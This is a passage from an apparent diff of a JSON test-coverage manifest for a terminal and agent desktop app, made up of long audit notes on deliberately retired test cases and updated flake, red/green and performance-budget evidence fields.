outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Run one byte-identical six-terminal oracle against an isolated headed desktop host and an isolated headless `orca serve` host. Stage at least 1,000,000 xterm cells, hide all six warm managers, emit an initial working title followed by 30 timed real-PTY spinner frames and a final idle title per worktree, and observe a second real session-tabs subscription plus the production renderer store. Require exactly two transport envelopes and two title mutations per worktree, no decorative title crossing either boundary, and positive decoded-envelope bytes. Enable ordinary parking with the lossy retention budget disabled, require exactly one mounted manager and five parked tabs, at most 45% retained cells, no more than 16 MiB heap growth, and under 500 ms timer drift. In headed mode, require the host renderer to remain on its original workspace with zero target terminal managers mounted throughout client park, reveal, and live I/O. While a tab is parked, require authoritative terminal.read to observe new PTY output; reveal it and require the original PTY, a marker within the requested 5,000-row history, the parked marker, and post-reveal input/output. Drive 24 real PTY title trackers in distinct worktrees through 40 decorative spinner frames each, then 40 spinner frames alternating with Cursor's bare native identity redraw, using fake clocks. Require all 2,880 raw chunks exactly and zero host session-tabs publications, serialized bytes, renderer apply calls, and renderer store mutations. Continue decorative evidence beyond 30 minutes, require exactly one refresh per worktree per 15-minute lease through a FIFO spaced by at least 50 ms, and require all 24 viewer statuses to remain working and fresh; then require one exact semantic idle transition and one visible-output chunk per PTY. Require ordinary and interior-Braille title changes to publish. Drive 64 host PTYs through ten 80 ms synthetic title frames, require zero paired client events after the first frame per PTY while all 640 local frames remain observable, attach a late client and require one current frame per PTY, then require semantic bell and idle transitions on both clients. Reconstruct a legacy subscribed stream with no outputPause capability, hide a chatty pane, require no hidden xterm writes, reveal it, and require one authoritative snapshot plus continued live output. Drop and acknowledge output only for one original paired-client stream, prove the fixture process consumed input while the host model advanced and the client stayed stale, then require the command snapshot probe to replace that stream, repaint exact fixture output, preserve authoritative PTY identity and target-tab cardinality, and resume live I/O. For a client without a delivered sequence, require the first numeric probe to establish a baseline without replacement, a same-sequence probe to remain attached, and a later advanced probe to replace only that stream. Withhold the first encrypted shared-control ready frame, start one RPC, trigger a status-probe refresh, and require two connections, one host delivery, successful response, and zero retained request bytes. Admit 128 active streams, reject the 129th as retryable, release one stream, then require the retry to attach and publish a snapshot without multiplying retained subscribers. Disable terminal.paired-parking.v1 and require the same oracle to fail before parking, while the legacy limit-one fallback separately passes. Also preserve truncated first paint, ACK-starved same-PTY recovery, responsive silent-command snapshot probes, dead-stream probe timeout recovery, and queued manual-disconnect fencing.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 360, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh changed-selector soak result. Historical account: Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: The host-relaunch oracle passed a fresh 10-run local series. One earlier exploratory repeat timed out in transport recovery before terminal input/output assertions; it did not recur with forwarded app logs. A later Linux CI run reproduced missing live output when inventory overlapped the refused in-flight attach, which now has a deterministic unit oracle and is pending cross-platform rerun. Broader headed/headless parking coverage has no aggregated CI or soak history yet." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh changed-selector soak result. Historical account: Changed selectors have no new soak result after Audit1412; any retained unchanged-source receipts apply only to their own commands. Historical account: The host-relaunch oracle passed a fresh 10-run local series. One earlier exploratory repeat timed out in transport recovery before terminal input/output assertions; it did not recur with forwarded app logs. A later Linux CI run reproduced missing live output when inventory overlapped the refused in-flight attach, which now has a deterministic unit oracle and is pending cross-platform rerun. Broader headed/headless parking coverage has no aggregated CI or soak history yet." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh red/green result for changed selectors. Historical account: Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The six-PTY ordinary-parking oracle was red in two independently observed stages: the parked paired remount first used detached attach and restored only rows 5,963–5,999, then the requested snapshot still lost to the current-screen replay until park reveals explicitly entered the capability-gated reattach coordinator. The candidate is green on headed and headless hosts, while disabling terminal.paired-parking.v1 makes the byte-identical oracle fail at its capability precondition and leaves the separately tested legacy lossy fallback green. The parked-title production-parity control throws Maximum update depth exceeded on the affected parking synchronization and settles with semantic dependencies; forced memo-cache discard, StrictMode cleanup replay, and split-PTY replacement are independently red before their corrections and green on the combined candidate. The real-PTY session-tabs oracle produces 96 full snapshots, 64,032 serialized bytes, 96 renderer applies, and 96 store mutations on unmodified main and on a one-line causal revert before reaching the alternating native-title phase; the candidate produces zero in all four dimensions while preserving all 2,880 redraw chunks and 24 exact semantic transitions. The 64-PTY decorative-title control delivered 576 client events after convergence on unmodified main; the candidate delivers zero while preserving all 640 local frames, one current frame to a late client, and bell/idle transitions to both clients. The legacy no-output-pause control failed to request a reveal snapshot and kept hidden bytes on the xterm path; the candidate gates those bytes locally and restores one authoritative snapshot before live output. With stalled-stream recovery disabled, the host cursor advanced but the client remained frozen; enabling it repainted the marker with the same PTY and tab. The sequence-gap unit and headed paired oracle are red on current main and with only the new probe decision reverted: the authoritative host advances while the client stays stale after a successful probe. The candidate replaces the stream, repaints the marker, preserves PTY identity, and resumes I/O. Reverting the active-stream limit to 64 makes the exact 128-stream contract fail at 64; restoring 128 admits every intended stream, rejects 129, and reattaches it after one slot releases. The host-relaunch oracle fails when unknown delivery state is coerced to foregrounded or a layout version becomes an output high-water; the candidate foregrounds the preserved daemon PTY once and resumes same-PTY input/output. When authoritative inventory overlaps a refused in-flight attach, removing only the post-settlement retry leaves the existing subscriber without daemon output; the candidate retains one waiter across repeated inventory publications, retries exactly once, and restores live output." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. No fresh red/green result for changed selectors. Historical account: Audit1412 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The six-PTY ordinary-parking oracle was red in two independently observed stages: the parked paired remount first used detached attach and restored only rows 5,963–5,999, then the requested snapshot still lost to the current-screen replay until park reveals explicitly entered the capability-gated reattach coordinator. The candidate is green on headed and headless hosts, while disabling terminal.paired-parking.v1 makes the byte-identical oracle fail at its capability precondition and leaves the separately tested legacy lossy fallback green. The parked-title production-parity control throws Maximum update depth exceeded on the affected parking synchronization and settles with semantic dependencies; forced memo-cache discard, StrictMode cleanup replay, and split-PTY replacement are independently red before their corrections and green on the combined candidate. The real-PTY session-tabs oracle produces 96 full snapshots, 64,032 serialized bytes, 96 renderer applies, and 96 store mutations on unmodified main and on a one-line causal revert before reaching the alternating native-title phase; the candidate produces zero in all four dimensions while preserving all 2,880 redraw chunks and 24 exact semantic transitions. The 64-PTY decorative-title control delivered 576 client events after convergence on unmodified main; the candidate delivers zero while preserving all 640 local frames, one current frame to a late client, and bell/idle transitions to both clients. The legacy no-output-pause control failed to request a reveal snapshot and kept hidden bytes on the xterm path; the candidate gates those bytes locally and restores one authoritative snapshot before live output. With stalled-stream recovery disabled, the host cursor advanced but the client remained frozen; enabling it repainted the marker with the same PTY and tab. The sequence-gap unit and headed paired oracle are red on current main and with only the new probe decision reverted: the authoritative host advances while the client stays stale after a successful probe. The candidate replaces the stream, repaints the marker, preserves PTY identity, and resumes I/O. Reverting the active-stream limit to 64 makes the exact 128-stream contract fail at 64; restoring 128 admits every intended stream, rejects 129, and reattaches it after one slot releases. The host-relaunch oracle fails when unknown delivery state is coerced to foregrounded or a layout version becomes an output high-water; the candidate foregrounds the preserved daemon PTY once and resumes same-PTY input/output. When authoritative inventory overlaps a refused in-flight attach, removing only the post-settlement retry leaves the existing subscriber without daemon output; the candidate retains one waiter across repeated inventory publications, retries exactly once, and restores live output." }, "performanceBudget": { "required": true, - "evidence": "Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Historical pre-audit selector account; changed selectors have no new measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Before ordinary parking, six warm-mounted hidden paired xterms receive zero raw frames and schedule zero renderer output drains while host models continue ingesting sustained output. The headed and headless production transports each admit only the initial and final semantic title snapshots per worktree across 180 timed decorative frames, and the real store performs only those 12 exact title mutations. Ordinary parking then retains the host PTY and bounded 5,000-row provider model while destroying five client xterms. Parked watcher synchronization is keyed by bounded parking semantics rather than fresh object identities; unrelated store writes perform zero PTY-map reads when no tab is parked, while parked reconciliation remains bounded by the worktree's terminal tabs and assignments. Decorative title ticks are collapsed both on the paired client-event channel and at the authoritative real-PTY session-tabs classifier before snapshot construction, serialization, transport, recovery, or store application; semantic facts remain exact. Headed and headless oracles require exact reduction from six managers to one, at least 55% staged xterm-cell release, no more than 16 MiB heap growth, and under 500 ms timer drift. The forced hidden-worktree retention policy keeps at most four otherwise un-parkable worktrees mounted and force-parks all after 15 minutes; the separate ordinary hot-retain policy keeps at most four recently visible worktrees 